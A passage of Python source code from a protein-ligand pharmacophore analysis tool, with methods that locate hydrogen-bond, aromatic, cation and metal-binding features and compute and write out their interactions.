pharmacophoric feature using SMARTS pattern\n        for feature_type in self.feature_type_list:\n            patterns = self.SMARTS_pattern_dict[feature_type]\n            PF_dict[feature_type] = list()\n            pattern_keys = sorted(patterns.keys())\n            for pattern_idx in pattern_keys:\n                smarts_pattern = patterns[pattern_idx]\n                smarts = pybel.Smarts(smarts_pattern)\n                atom_idx_group_list = smarts.findall(m)\n                Nfeatures = len(atom_idx_group_list)\n                for k in range(Nfeatures):\n                    atom_idx_group = atom_idx_group_list[k]\n\n                    fea_dict = dict()\n                    fea_dict['atom_idx_group'] = atom_idx_group\n                    fea_dict['pattern_idx'] = pattern_idx\n                    if feature_type == 'HBD':\n                        h_atoms_idx = list()\n                        atom_idx = atom_idx_group[0]\n                        neighbor_atoms_idx = bond_dict[atom_idx]\n                        for neighbor_atom_idx in neighbor_atoms_idx:\n                            neighbor_atom = atoms[neighbor_atom_idx - 1]\n                            if neighbor_atom.atomicnum != 1:\n                                continue\n                            h_atoms_idx += [neighbor_atom_idx]\n                        if len(h_atoms_idx) == 0:\n                            continue\n                        fea_dict['h_atoms_idx'] = h_atoms_idx\n\n                    atom_idx = atom_idx_group[0]\n                    atom = atoms[atom_idx-1]\n                    fea_dict['atom_type'] = atom.type\n                    if is_protein:\n                        residue = atom.residue\n                        chain_id = residue.OBResidue.GetChain()\n                        fea_dict['chain_id'] = chain_id\n                        residue_name = residue.name\n                        fea_dict['residue_name'] = residue_name\n                        residue_num = residue.OBResidue.GetNum()\n                        fea_dict['residue_num'] = residue_num\n                        fea_dict['weight'] = 1.0\n\n                    PF_dict[feature_type] += [fea_dict]\n\n        return PF_dict\n\n    def find_PF_coor(self, m, PF_dict, bond_dict, is_protein=False):\n        \"\"\"\n            Find pharmacophoric features\n            input:\n                m: pybel molecule object\n                PF_dict: pharmacophoric feature dictionary\n                is_protein: True or False\n            output:\n                PF_coor: dictionary\n        \"\"\"\n\n        atoms = m.atoms\n        PF_coor = dict()\n        for feature_type in self.feature_type_list:\n            if feature_type not in PF_dict:\n                continue\n            fea_dict_list = PF_dict[feature_type]\n            PF_coor[feature_type] = list()\n            Nfeatures = len(fea_dict_list)\n            p00_atoms_old = list()\n            num_member = list()\n            for k in range(Nfeatures):\n                fea_dict = fea_dict_list[k]\n                num_member += [len(fea_dict['atom_idx_group'])]\n            num_member = -np.array(num_member)\n            index = num_member.argsort()\n            for k in index:\n                fea_dict = fea_dict_list[k]\n                atom_idx_group = fea_dict['atom_idx_group']\n                pattern_idx = fea_dict['pattern_idx']\n\n                intersection = set(atom_idx_group).intersection(p00_atoms_old)\n                p00_atoms_old += atom_idx_group\n                if len(intersection) > 0 and feature_type != 'Aromatic':\n                    continue\n\n                pseudo_atom = []\n                for atom_index in atom_idx_group:\n                    coor = np.array(atoms[atom_index - 1].coords)\n                    pseudo_atom += [coor]\n                pseudo_atom = np.array(pseudo_atom)\n                pseudo_atom_coor = pseudo_atom.mean(axis=0)\n\n                fea_dict_new = dict()\n                fea_dict_new['atom_idx_group'] = atom_idx_group\n                fea_dict_new['pattern_idx'] = pattern_idx\n                fea_dict_new['pseudo_atom_coor'] = pseudo_atom_coor\n\n                if feature_type == 'HBD':\n                    h_atoms = list()\n                    atom_idx = atom_idx_group[0]\n                    neighbor_heavy_atom_list = list()\n                    neighbor_atoms_idx = bond_dict[atom_idx]\n                    neighbor_atom_list = list()\n                    for neighbor_atom_idx in neighbor_atoms_idx:\n                        neighbor_atom = atoms[neighbor_atom_idx - 1]\n                        if neighbor_atom.atomicnum == 1:\n                            continue\n                        nei_coor = np.array(atoms[neighbor_atom_idx - 1].coords)\n                        neighbor_atom_list += [[neighbor_atom_idx, nei_coor]]\n\n                    h_atoms_idx = fea_dict['h_atoms_idx']\n                    num_neighbor_atom = len(neighbor_atom_list)\n                    for h_atom_idx in h_atoms_idx:\n                        h_coor = np.array(atoms[h_atom_idx - 1].coords)\n                        h_atoms += [[h_atom_idx, h_coor]]\n                        #if len(neighbor_atom_list)==1:\n                            #nei_coor = neighbor_atom_list[0][1]\n                            #vec_a = pseudo_atom_coor - nei_coor\n                            #vec_b = h_coor - pseudo_atom_coor\n                            #vec_c = h_coor - nei_coor\n                            #a = np.linalg.norm(vec_a)\n                            #b = np.linalg.norm(vec_b)\n                            #c = np.linalg.norm(vec_c)\n                            #d = (c**2 - a**2 - b**2)/(2*a**2)\n                            #m_coor = pseudo_atom_coor + vec_a * d/a\n                            #h_coor2 = h_coor + 2 * (m_coor - h_coor)\n                            #h_atoms += [[h_atom_idx, h_coor2]]\n\n                    fea_dict_new['h_atoms'] = h_atoms\n                    fea_dict_new['num_neighbor_atom'] = num_neighbor_atom\n\n\n\n                elif feature_type == 'Aromatic':\n                    v_a = pseudo_atom[1] - pseudo_atom[0]\n                    v_b = pseudo_atom[2] - pseudo_atom[1]\n                    v_c = np.cross(v_a, v_b)\n                    v_n = v_c / np.linalg.norm(v_c)\n                    fea_dict_new['v_n'] = v_n\n                fea_dict_new['atom_type'] = fea_dict['atom_type']\n                if is_protein:\n                    fea_dict_new['chain_id'] = fea_dict['chain_id']\n                    fea_dict_new['residue_name'] = fea_dict['residue_name']\n                    fea_dict_new['residue_num'] = fea_dict['residue_num']\n                    fea_dict_new['weight'] = fea_dict['weight']\n\n                PF_coor[feature_type] += [fea_dict_new]\n\n        return PF_coor\n\n    def find_metal_ion(self, m, is_protein=True):\n        \"\"\"\n            input:\n                m: pybel molecule object\n                is_protein: True or False\n            output:\n                metal_coor: list\n        \"\"\"\n        metal_coor = list()\n        atoms = m.atoms\n        for atom in atoms:\n            atomic_num = atom.atomicnum\n\n            if atomic_num not in self.metal_atomic_name_dict:\n                continue\n            atomic_name = self.metal_atomic_name_dict[atomic_num]\n            atom_idx = atom.idx\n            atom_idx_group = (atom_idx,)\n            coor = np.array(atom.coords)\n            if atomic_name not in self.metal_name_dict:\n                continue\n            pattern_idx = self.metal_name_dict[atomic_name]\n\n            fea_dict = dict()\n            fea_dict['atom_type'] = atom.type\n            fea_dict['atom_idx_group'] = atom_idx_group\n            fea_dict['pattern_idx'] = pattern_idx\n            fea_dict['pseudo_atom_coor'] = coor\n            if is_protein:\n                residue = atom.residue\n                chain_id = residue.OBResidue.GetChain()\n                fea_dict['chain_id'] = chain_id\n                residue_name = residue.name\n                fea_dict['residue_name'] = residue_name\n                residue_num = residue.OBResidue.GetNum()\n                fea_dict['residue_num'] = residue_num\n                fea_dict['weight'] = 1.0\n\n            metal_coor += [fea_dict]\n\n        return metal_coor\n\n    def find_mba(self, m, is_protein=False):\n        \"\"\"\n            metal binding atom for ligand\n            input:\n                m: pybel molecule object\n                is_protein: True or False\n            output:\n                mba_coor: list\n        \"\"\"\n\n        mba_coor = list()\n        atoms = m.atoms\n        for atom in atoms:\n            atom_idx = atom.idx\n            atomic_num = atom.atomicnum\n            if atomic_num != 7 and atomic_num != 8 and atomic_num != 16:\n                continue\n\n            # if atom.formalcharge>0:\n            #    continue\n            # Excluded because protonation state calculation is incomplete\n\n            atom_idx_group = (atom_idx,)\n            coor = np.array(atom.coords)\n            pattern_idx = self.metal_bind_name_dict[atomic_num]\n\n            fea_dict = dict()\n            fea_dict['atom_type'] = atom.type\n            fea_dict['atom_idx_group'] = atom_idx_group\n            fea_dict['pattern_idx'] = pattern_idx\n            fea_dict['pseudo_atom_coor'] = coor\n            if is_protein:\n                residue = atom.residue\n                chain_id = residue.OBResidue.GetChain()\n                fea_dict['chain_id'] = chain_id\n                residue_name = residue.name\n                fea_dict['residue_name'] = residue_name\n                residue_num = residue.OBResidue.GetNum()\n                fea_dict['residue_num'] = residue_num\n                fea_dict['weight'] = 1.0\n            mba_coor += [fea_dict]\n\n        return mba_coor\n\n    def draw_ligand(self, m_ligand, PF_dict, output_name, size):\n        type_list = self.feature_type_list\n        patom_list = list()\n        for fea in type_list:\n            patoms = list()\n            fff = PF_dict[fea]\n            for ff in fff:\n                atom_idx_group = ff[0]\n                for idx in atom_idx_group:\n                    patoms += [idx-1]\n            patom_list += [patoms]\n        m_ligand_noH = Chem.RemoveHs(m_ligand)\n        m_ligand_noH.RemoveConformer(0)\n        mol_list = [m_ligand_noH]*6\n        img = Draw.MolsToGridImage(mol_list, legends=type_list,\n                                   highlightAtomLists=patom_list,\n                                   subImgSize=size, molsPerRow=2)\n        img.save(output_name)\n\n    def box_protein(self, PF_coor_protein, cmin, cmax):\n        \"\"\"\n            select PF of PF_coor_protein in the box\n            input:\n                PF_coor_protein: dict\n                cmin : np.array\n                cmax : np.array\n            output:\n                PF_coor_box: dict\n        \"\"\"\n\n        type_list = self.feature_type_list + ['Metal']\n        PF_coor_box = dict()\n        for fea in type_list:\n            if fea not in PF_coor_protein:\n                continue\n            fea_dict_list = PF_coor_protein[fea]\n            PF_coor_box[fea] = list()\n            for fea_dict in fea_dict_list:\n                pseudo_atom_coor = fea_dict['pseudo_atom_coor']\n                if (pseudo_atom_coor > cmax).any():\n                    continue\n                elif (pseudo_atom_coor < cmin).any():\n                    continue\n                PF_coor_box[fea] += [fea_dict]\n        return PF_coor_box\n\n    def find_template(self, PF_coor_protein, template_ligand_file, include_hydrophobic=False):\n        template_dict = dict()\n        feature_type_list_receptor = self.feature_type_list + ['Metal']\n        for feature_type_receptor in feature_type_list_receptor:\n            if not include_hydrophobic and feature_type_receptor == 'Hydrophobic':\n                continue\n            template_dict[feature_type_receptor] = dict()\n\n        file_format = template_ligand_file.split('.')[-1]\n        ms = list(pybel.readfile(file_format, template_ligand_file))\n        m_ligand = ms[0]\n        ligand_bond_dict = self.get_bond_info(m_ligand)\n        PF_dict_ligand = self.find_PF(m_ligand, ligand_bond_dict)\n\n        num_model = len(ms)\n        if num_model > 1:\n            num_model = num_model - 1\n        PF_coor_ligand_dict = dict()\n        interaction_dict = dict()\n        model_idx = 0\n        m_ligand = ms[model_idx]\n        PF_coor_ligand = self.find_PF_coor(m_ligand, PF_dict_ligand, ligand_bond_dict)\n        mba_coor = self.find_mba(m_ligand, is_protein=False)\n        PF_coor_ligand['MBA'] = mba_coor\n\n        PF_coor_ligand_dict[model_idx] = PF_coor_ligand\n        interaction = self.find_interaction(PF_coor_protein, PF_coor_ligand,\n                                            ligand_bond_dict)\n        interaction_dict[model_idx] = interaction\n        total_rec_pf_dict = self.count_interaction_receptor(interaction_dict)\n        rec_pf_dict = total_rec_pf_dict[0]\n        for feature_type_receptor in rec_pf_dict.keys():\n            if not include_hydrophobic and feature_type_receptor == 'Hydrophobic':\n                continue\n            rec_pf = rec_pf_dict[feature_type_receptor]\n            atom_idx_group_list = rec_pf.keys()\n            for atom_idx_group in atom_idx_group_list:\n                if atom_idx_group not in template_dict[feature_type_receptor]:\n                    template_dict[feature_type_receptor][atom_idx_group] = 0\n                template_dict[feature_type_receptor][atom_idx_group] += 1\n        return template_dict\n\n    def select_template_protein(self, PF_coor_protein, template_dict,\n                                cut_num=0):\n        \"\"\"\n            select PF of PF_coor_protein in template\n            input:\n                PF_coor_protein: dict\n                template_dict: dict\n            output:\n                PF_coor_info: dict\n        \"\"\"\n        type_list = self.feature_type_list + ['Metal']\n        PF_coor_info = dict()\n        for fea in type_list:\n            if fea not in PF_coor_protein:\n                continue\n            if fea not in template_dict:\n                continue\n            fea_dict_list = PF_coor_protein[fea]\n            PF_coor_info[fea] = list()\n            for fea_dict in fea_dict_list:\n                atom_idx_group = fea_dict['atom_idx_group']\n                if atom_idx_group not in template_dict[fea]:\n                    continue\n                num_in_template = template_dict[fea][atom_idx_group]\n                if num_in_template < cut_num:\n                    continue\n                PF_coor_info[fea] += [fea_dict]\n        return PF_coor_info\n\n    def find_interaction(self, PF_coor_protein, PF_coor_ligand,\n                         ligand_bond_dict):\n        \"\"\"\n            find pharmacophoric interaction\n            input:\n                PF_coor_protein: dict\n                PF_coor_ligand: dict\n                ligand_bond_dict: dict\n            output:\n                interaction: dict\n        \"\"\"\n        type_list = self.feature_type_list + ['MBA']\n#        type_list = self.feature_type_list\n\n        coor_ligand_list = list()\n        for fea_ligand in type_list:\n            if fea_ligand not in PF_coor_ligand:\n                continue\n            fea_dict_list_ligand = PF_coor_ligand[fea_ligand]\n            for fea_dict_ligand in fea_dict_list_ligand:\n                coor_ligand = fea_dict_ligand['pseudo_atom_coor']\n                coor_ligand_list.append(coor_ligand)\n        coor_ligand_list = np.array(coor_ligand_list)\n        cmin = coor_ligand_list.min(axis=0) - self.cutoff\n        cmax = coor_ligand_list.max(axis=0) + self.cutoff\n\n        PF_coor_protein_box = self.box_protein(PF_coor_protein, cmin, cmax)\n\n        interaction = dict()\n        for fea_ligand in type_list:\n            if fea_ligand not in interaction:\n                interaction[fea_ligand] = dict()\n            if fea_ligand not in PF_coor_ligand:\n                continue\n            fea_dict_list_ligand = PF_coor_ligand[fea_ligand]\n            cfea_list = self.complementary_feature[fea_ligand]\n            for fea_dict_ligand in fea_dict_list_ligand:\n                idx_ligand = fea_dict_ligand['atom_idx_group']\n                pattern_ligand = fea_dict_ligand['pattern_idx']\n                coor_ligand = fea_dict_ligand['pseudo_atom_coor']\n                for cfea_t in cfea_list:\n                    fea_protein = cfea_t[0]\n                    if fea_protein not in interaction[fea_ligand]:\n                        interaction[fea_ligand][fea_protein] = list()\n                    pair_cutoff = cfea_t[1]\n                    if fea_protein not in PF_coor_protein_box:\n                        continue\n                    fea_dict_list_protein = PF_coor_protein_box[fea_protein]\n                    for fea_dict_protein in fea_dict_list_protein:\n                        idx_protein = fea_dict_protein['atom_idx_group']\n                        pattern_protein = fea_dict_protein['pattern_idx']\n                        coor_protein = fea_dict_protein['pseudo_atom_coor']\n\n                        r_lp = coor_protein - coor_ligand\n                        dist_lp = np.linalg.norm(r_lp)\n#                        if dist_lp > self.cutoff:\n                        if dist_lp > pair_cutoff:\n                            continue\n\n                        interact_ij = dict()\n                        interact_ij['idx_ligand'] = idx_ligand\n                        interact_ij['idx_protein'] = idx_protein\n                        interact_ij['pattern_ligand'] = pattern_ligand\n                        interact_ij['pattern_protein'] = pattern_protein\n\n                        interact_ij['dist_lp'] = dist_lp\n                        interact_ij['chain_id'] = fea_dict_protein['chain_id']\n                        interact_ij['residue_name'] = fea_dict_protein['residue_name']\n                        interact_ij['residue_num'] = fea_dict_protein['residue_num']\n                        interact_ij['weight'] = fea_dict_protein['weight']\n\n                        if fea_ligand == 'HBD' and fea_protein == 'HBA':\n                            num_neighbor_atom = fea_dict_ligand['num_neighbor_atom']\n                            donor_hydrogen_list = fea_dict_ligand['h_atoms']\n                            if num_neighbor_atom <= 1:\n                                theta = 0\n                                interact_ij['theta'] = theta\n                            else:\n                                dist_ah = 100.0\n                                for donor_hydrogen in donor_hydrogen_list:\n                                    hydrogen_coor0 = donor_hydrogen[1]\n                                    dist_ah0 = np.linalg.norm(\n                                        hydrogen_coor0 - coor_protein)\n                                    if dist_ah0 < dist_ah:\n                                        dist_ah = dist_ah0\n                                        hydrogen_coor = hydrogen_coor0\n                                dist_dh = np.linalg.norm(\n                                    hydrogen_coor - coor_ligand)\n                                theta = cal_angle_from_points(\n                                    dist_lp, dist_dh, dist_ah)\n                                if theta < 0.6*np.pi:\n                                    continue\n                                interact_ij['theta'] = theta\n\n                        elif fea_ligand == 'HBA' and fea_protein == 'HBD':\n                            num_neighbor_atom = fea_dict_protein['num_neighbor_atom']\n                            donor_hydrogen_list = fea_dict_protein['h_atoms']\n                            if num_neighbor_atom <= 1:\n                                theta = 0\n                                interact_ij['theta'] = theta\n                            else:\n                                dist_ah = 100.0\n                                for donor_hydrogen in donor_hydrogen_list:\n                                    hydrogen_coor0 = donor_hydrogen[1]\n                                    dist_ah0 = np.linalg.norm(\n                                        hydrogen_coor0 - coor_ligand)\n                                    if dist_ah0 < dist_ah:\n                                        dist_ah = dist_ah0\n                                        hydrogen_coor = hydrogen_coor0\n                                dist_dh = np.linalg.norm(\n                                    hydrogen_coor - coor_protein)\n                                theta = cal_angle_from_points(\n                                    dist_lp, dist_dh, dist_ah)\n                                if theta < 0.6*np.pi:\n                                    continue\n                                interact_ij['theta'] = theta\n\n                        elif fea_ligand == 'Aromatic' and fea_protein == 'Cation':\n                            n_vector_ligand = fea_dict_ligand['v_n']\n                            n_vector_lp = r_lp/dist_lp\n                            theta = np.abs(cal_angle_from_vectors(\n                                           n_vector_ligand, n_vector_lp))\n                            if theta > np.pi/2:\n                                theta = np.pi-theta\n                            if theta > 0.5*np.pi/2:\n                                continue\n                            interact_ij['theta'] = theta\n\n                        elif fea_ligand == 'Cation' and fea_protein == 'Aromatic':\n                            n_vector_protein = fea_dict_protein['v_n']\n                            n_vector_lp = r_lp/dist_lp\n                            theta = np.abs(cal_angle_from_vectors(\n                                           n_vector_protein, n_vector_lp))\n                            if theta > np.pi/2:\n                                theta = np.pi-theta\n                            if theta > 0.5*np.pi/2:\n                                continue\n                            interact_ij['theta'] = theta\n\n                        elif fea_ligand == 'Aromatic' and fea_protein == 'Aromatic':\n                            n_vector_ligand = fea_dict_ligand['v_n']\n                            n_vector_protein = fea_dict_protein['v_n']\n                            n_vector_lp = r_lp/dist_lp\n                            theta = cal_angle_from_vectors(\n                                n_vector_ligand, n_vector_protein)\n                            if theta > np.pi/2:\n                                theta = np.pi-theta\n                            interact_ij['theta'] = theta\n\n                            alpha = np.abs(cal_angle_from_vectors(\n                                           n_vector_ligand, n_vector_lp))\n#                            dist_v = dist_lp * np.cos(alpha)\n#                            dist_h = dist_lp * np.sin(alpha)\n#                            print(np.sqrt(dist_v*dist_v+dist_h*dist_h), dist_lp)\n#                            interact_ij['dist_v'] = dist_v\n#                            interact_ij['dist_h'] = dist_h\n                            if theta > 0.4*np.pi/2 and theta < 0.8*np.pi/2:\n                                continue\n                            interact_ij['alpha'] = alpha\n\n                        elif fea_ligand == 'MBA' and fea_protein == 'Metal':\n                            if pattern_ligand not in self.metal_interaction_cutoff:\n                                continue\n                            if pattern_protein not in self.metal_interaction_cutoff[pattern_ligand]:\n                                continue\n                            metal_cutoff = self.metal_interaction_cutoff[\n                                pattern_ligand][pattern_protein]\n                            if dist_lp > metal_cutoff:\n                                continue\n                        interaction[fea_ligand][fea_protein] += [interact_ij]\n\n        if 'MBA' in interaction:\n            if 'Metal' in interaction['MBA']:\n                metal_interaction = interaction['MBA']['Metal']\n                d_list = list()\n                d_list = np.array([x['dist_lp'] for x in metal_interaction])\n                idx_sorted = np.argsort(d_list)\n\n                metal_interaction_new = list()\n                batom_idx = list()\n                for idx in idx_sorted:\n                    interact_ij = metal_interaction[idx]\n                    idx_ligand = interact_ij['idx_ligand'][0]\n#                    dist_lp = interact_ij['dist_lp']\n                    neighbor_atoms_idx = ligand_bond_dict[idx_ligand]\n                    neighbor_check = False\n                    for neighbor_atom_idx in neighbor_atoms_idx:\n\n                        if neighbor_atom_idx in batom_idx:\n                            neighbor_check = True\n                    if not neighbor_check:\n                        metal_interaction_new += [interact_ij]\n                        batom_idx += [idx_ligand]\n\n                interaction['MBA']['Metal'] = metal_interaction_new\n\n        return interaction\n\n    def write_PF(self, PF_coor_dict, out_file, is_protein=False):\n        \"\"\"\n            write pharmacophoric feature\n            input:\n                PF_coor_dict: dict\n                out_file: filename, str\n                is_protein: bool\n        \"\"\"\n\n        if is_protein:\n            feature_type_list = self.feature_type_list + ['Metal']\n        else:\n            feature_type_list = self.feature_type_list + ['MBA']\n        fp = open(out_file, 'w')\n        line_out = 'feature_type:atom_idx_group:pattern_idx:pseudo_atom_coor'\n        line_out += ':atom_type:etc'\n        if is_protein:\n            line_out += ':chain_id:residue_name:residue_num:weight'\n        line_out += '\\n'\n        fp.write(line_out)\n        model_idx_list = PF_coor_dict.keys()\n        num_model = len(model_idx_list)\n        for model_idx in model_idx_list:\n            PF_coor = PF_coor_dict[model_idx]\n            if num_model > 1:\n                line_out = 'MODEL %d\\n' % (model_idx + 1)\n                fp.write(line_out)\n            for feature_type in feature_type_list:\n                if feature_type not in PF_coor:\n                    continue\n                fea_dict_list = PF_coor[feature_type]\n                for fea_dict in fea_dict_list:\n                    line_out = '%s' % feature_type\n#                    line_out += ':%s' % (str(fea_dict['atom_idx_group']))\n                    idx_line = ''\n                    for atom_idx in fea_dict['atom_idx_group']:\n                        idx_line += '%d,' % atom_idx\n                    line_out += ':(%s)' % idx_line.strip(',')\n\n                    line_out += ':%s' % (fea_dict['pattern_idx'])\n                    coor = fea_dict['pseudo_atom_coor']\n                    line_out += ':(%.3f,%.3f,%.3f)' % (\n                        coor[0], coor[1], coor[2])\n                    line_out += ':%s' % (fea_dict['atom_type'])\n\n                    if 'h_atoms' in fea_dict:\n                        hatoms = fea_dict['h_atoms']\n                        hatom_line = ''\n                        if 'num_neighbor_atom' in fea_dict:\n                            num_neighbor_atom = fea_dict['num_neighbor_atom']\n                            hatom_line += '%d;' %num_neighbor_atom\n                        for hatom in hatoms:\n                            line_f = '%d=(%.3f,%.3f,%.3f);'\n                            hatom_line += line_f % (hatom[0], hatom[1][0],\n                                                    hatom[1][1], hatom[1][2])\n                        line_out += ':%s' % hatom_line.strip(';')\n\n                    elif 'v_n' in fea_dict:\n                        coor_v_n = fea_dict['v_n']\n                        line_out += ':(%.3f,%.3f,%.3f)' % (\n                            coor_v_n[0], coor_v_n[1], coor_v_n[2])\n\n                    else:\n                        line_out += ':'\n\n                    if is_protein:\n                        line_out += ':%s' % (fea_dict['chain_id'])\n                        line_out += ':%s' % (fea_dict['residue_name'])\n                        line_out += ':%d' % (fea_dict['residue_num'])\n                        line_out += ':%.3f' % (fea_dict['weight'])\n\n                    line_out += '\\n'\n                    fp.write(line_out)\n        fp.close()\n\n    def read_PF(self, feature_file, is_protein=False):\n        PF_coor_dict = dict()\n        fp = open(feature_file)\n        lines = fp.readlines()\n        fp.close()\n\n        model_idx = 0\n        PF_coor_dict[model_idx] = dict()\n\n        for line in lines:\n            if line.startswith('feature_type'):\n                # title = line.strip().split(':')\n                continue\n\n            if line.startswith('MODEL'):\n                model_idx = int(line.strip().split()[1]) - 1\n                fea_dict = dict()\n                if model_idx not in PF_coor_dict:\n                    PF_coor_dict[model_idx] = dict()\n                continue\n            lis = line.strip().split(':')\n            if len(lis) < 1:\n                continue\n            fea_dict = dict()\n            feature_type = lis[0]\n            atom_idx_group = lis[1]\n            pattern_idx = lis[2]\n            pseudo_atom_coor = lis[3]\n            atom_type = lis[4]\n            etc = lis[5]\n            if feature_type not in PF_coor_dict[model_idx]:\n                PF_coor_dict[model_idx][feature_type] = list()\n\n            fea_dict['feature_type'] = feature_type\n            aline = atom_idx_group.lstrip('(').rstrip(')')\n            fea_dict['atom_idx_group'] = np.array(aline.split(','), dtype=int)\n            fea_dict['pattern_idx'] = int(pattern_idx)\n            coor = pseudo_atom_coor.lstrip('(').rstrip(')').split(',')\n            fea_dict['pseudo_atom_coor'] = np.array(coor, dtype=np.float32)\n            fea_dict['atom_type'] = atom_type\n            if feature_type == 'HBD':\n                hline_list = etc.split(';')\n                h_list = list()\n                num_neighbor_atom = float(hline_list[0])\n                fea_dict['num_neighbor_atom'] = num_neighbor_atom\n                for hline in hline_list[1:]:\n                    aa = hline.split('=')\n                    h_idx = int(aa[0])\n                    h_coor = aa[1].lstrip('(').rstrip(')').split(',')\n                    h_list += [[h_idx, np.array(h_coor, dtype=np.float32)]]\n                    fea_dict['h_atoms'] = h_list\n            if feature_type == 'Aromatic':\n                v_n = etc.lstrip('(').rstrip(')').split(',')\n                fea_dict['v_n'] = np.array(v_n, dtype=np.float32)\n            if is_protein:\n                chain_id = lis[6]\n                residue_name = lis[7]\n                residue_num = lis[8]\n                fea_dict['chain_id'] = chain_id\n                fea_dict['residue_name'] = residue_name\n                fea_dict['residue_num'] = int(residue_num)\n                if len(lis) >= 10:\n                    weight = lis[9]\n                    fea_dict['weight'] = float(weight)\n                else:\n                    fea_dict['weight'] = 1.0\n\n            PF_coor_dict[model_idx][feature_type] += [fea_dict]\n\n        return PF_coor_dict\n\n    def write_interaction(self, interaction_dict, out_file):\n        \"\"\"\n            write pharmacophoric interaction\n            input:\n                interaction_dict: dict()\n                out_file: str\n        \"\"\"\n        fp = open(out_file, 'w')\n        line_out = 'feature_type_ligand:feature_type_protein'\n        line_out += ':atom_idx_group_ligand:atom_idx_group_protein'\n        line_out += ':pattern_ligand:pattern_protein'\n        line_out += ':chain_id:residue_name:residue_num'\n        line_out += ':dist_lp:theta:alpha:weight\\n'\n        fp.write(line_out)\n\n        model_idx_list = interaction_dict.keys()\n        num_model = len(model_idx_list)\n        for model_idx in model_idx_list:\n            interaction = interaction_dict[model_idx]\n            if num_model > 1:\n                line_out = 'MODEL %d\\n' % (model_idx + 1)\n                fp.write(line_out)\n\n            for feature_type_ligand in interaction.keys():\n                inter_i = interaction[feature_type_ligand]\n                for feature_type_protein in inter_i.keys():\n                    inter_ij_list = inter_i[feature_type_protein]\n                    for inter_ij in inter_ij_list:\n                        line_out = '%s' % feature_type_ligand\n                        line_out += ':%s' % feature_type_protein\n\n                        idx_line = ''\n                        for idx in inter_ij['idx_ligand']:\n                            idx_line += '%d,' % (idx)\n                        line_out += ':(%s)' % (idx_line.strip(','))\n\n                        idx_line = ''\n                        for idx in inter_ij['idx_protein']:\n                            idx_line += '%d,' % (idx)\n                        line_out += ':(%s)' % (idx_line.strip(','))\n                        line_out += ':%s' % (inter_ij['pattern_ligand'])\n                        line_out += ':%s' % (inter_ij['pattern_protein'])\n\n                        line_out += ':%s' % (inter_ij['chain_id'])\n                        line_out += ':%s' % (inter_ij['residue_name'])\n                        line_out += ':%d' % (inter_ij['residue_num'])\n                        line_out += ':%.3f' % (inter_ij['dist_lp'])\n                        if 'theta' in inter_ij:\n                            line_out += ':%.3f' % (inter_ij['theta'])\n                        else:\n                            line_out += ':'\n                        if 'alpha' in inter_ij:\n                            line_out += ':%.3f' % (inter_ij['alpha'])\n                        else:\n                            line_out += ':'\n                        line_out += ':%.3f' % (inter_ij['weight'])\n\n                        line_out += '\\n'\n                        fp.write(line_out)\n\n        fp.close()\n\n    def count_interaction_receptor(self, interaction_dict):\n\n        total_rec_pf_dict = dict()\n        model_idx_list = interaction_dict.keys()\n        feature_type_list_receptor = self.feature_type_list + ['Metal']\n        feature_type_list_ligand = self.feature_type_list + ['MBA']\n\n        for model_idx in model_idx_list:\n            line_out_title = 'Model_idx'\n            interaction = interaction_dict[model_idx]\n\n            rec_pf_dict = dict()\n            for feature_type_ligand in feature_type_list_ligand:\n                line_out_title += ' %s' % (feature_type_ligand)\n                if feature_type_ligand not in interaction:\n                    continue\n                inter_i = interaction[feature_type_ligand]\n                for feature_type_protein in feature_type_list_receptor:\n                    if feature_type_protein not in rec_pf_dict:\n                        rec_pf_dict[feature_type_protein] = dict()\n                    if feature_type_protein not in inter_i.keys():\n                        continue\n                    inter_ij_list = inter_i[feature_type_protein]\n                    for inter_ij in inter_ij_list:\n                        idx_protein = inter_ij['idx_protein']\n                        if idx_protein not in rec_pf_dict[feature_type_protein]:\n                            rec_pf_dict[feature_type_protein][idx_protein] = 0\n                        rec_pf_dict[feature_type_protein][idx_protein] += 1\n            total_rec_pf_dict[model_idx] = rec_pf_dict\n\n        return total_rec_pf_dict\n\n    def print_interaction_receptor(self, total_rec_pf_dict):\n        line_out_total = ''\n        model_idx_list = total_rec_pf_dict.keys()\n        feature_type_list_receptor = self.feature_type_list + ['Metal']\n\n        line_out_title = 'Model_idx'\n        for feature_type_receptor in feature_type_list_receptor:\n            line_out_title += ' %s' % (feature_type_receptor)\n        line_out_total += line_out_title + '\\n'\n\n        for model_idx in model_idx_list:\n            line_out_value = '%d' % (model_idx + 1)\n            rec_pf_dict = total_rec_pf_dict[model_idx]\n            for feature_type_protein in feature_type_list_receptor:\n                if feature_type_protein in rec_pf_dict:\n                    count = len(rec_pf_dict[feature_type_protein].keys())\n                else:\n                    count = 0\n                line_out_value += ' %d' % (count)\n            line_out_total += line_out_value + '\\n'\n\n        return line_out_total\n\n    def count_interaction_ligand(self, interaction_dict):\n        total_lig_pf_dict = dict()\n        model_idx_list = interaction_dict.keys()\n        feature_type_list = self.feature_type_list + ['MBA']\n\n        for model_idx in model_idx_list:\n            interaction = interaction_dict[model_idx]\n            lig_pf_dict = dict()\n            for feature_type_ligand in feature_type_list:\n                if feature_type_ligand not in interaction:\n                    continue\n                inter_i = interaction[feature_type_ligand]\n                lig_pf_dict[feature_type_ligand] = dict()\n                for feature_type_protein in inter_i.keys():\n                    inter_ij_list = inter_i[feature_type_protein]\n                    for inter_ij in inter_ij_list:\n                        idx_ligand = inter_ij['idx_ligand']\n                        if idx_ligand not in lig_pf_dict[feature_type_ligand]:\n                            lig_pf_dict[feature_type_ligand][idx_ligand] = 0\n                        lig_pf_dict[feature_type_ligand][idx_ligand] += 1\n            total_lig_pf_dict[model_idx] = lig_pf_dict\n\n        return total_lig_pf_dict\n\n    def print_interaction_ligand(self, total_lig_pf_dict):\n        line_out_total = ''\n        model_idx_list = total_lig_pf_dict.keys()\n        feature_type_list = self.feature_type_list + ['MBA']\n\n        line_out_title = 'Model_idx'\n        for feature_type_ligand in feature_type_list:\n            line_out_title += ' %s' % (feature_type_ligand)\n        line_out_total += line_out_title + '\\n'\n\n        for model_idx in model_idx_list:\n            line_out_value = '%d' % (model_idx + 1)\n            lig_pf_dict = total_lig_pf_dict[model_idx]\n            for feature_type_ligand in feature_type_list:\n                if feature_type_ligand in lig_pf_dict:\n                    count = len(lig_pf_dict[feature_type_ligand].keys())\n                else:\n                    count = 0\n                line_out_value += ' %d' % (count)\n            line_out_total += line_out_value + '\\n'\n\n        return line_out_total\n\n    def count_interaction(self, interaction_dict, use_weight_pis=True,\n                          include_hydrophobic=True):\n        \"\"\"\n            input:\n                interaction_dict: dict()\n            output:\n                total_count_dict: dict()\n        \"\"\"\n\n        total_count_dict = dict()\n\n        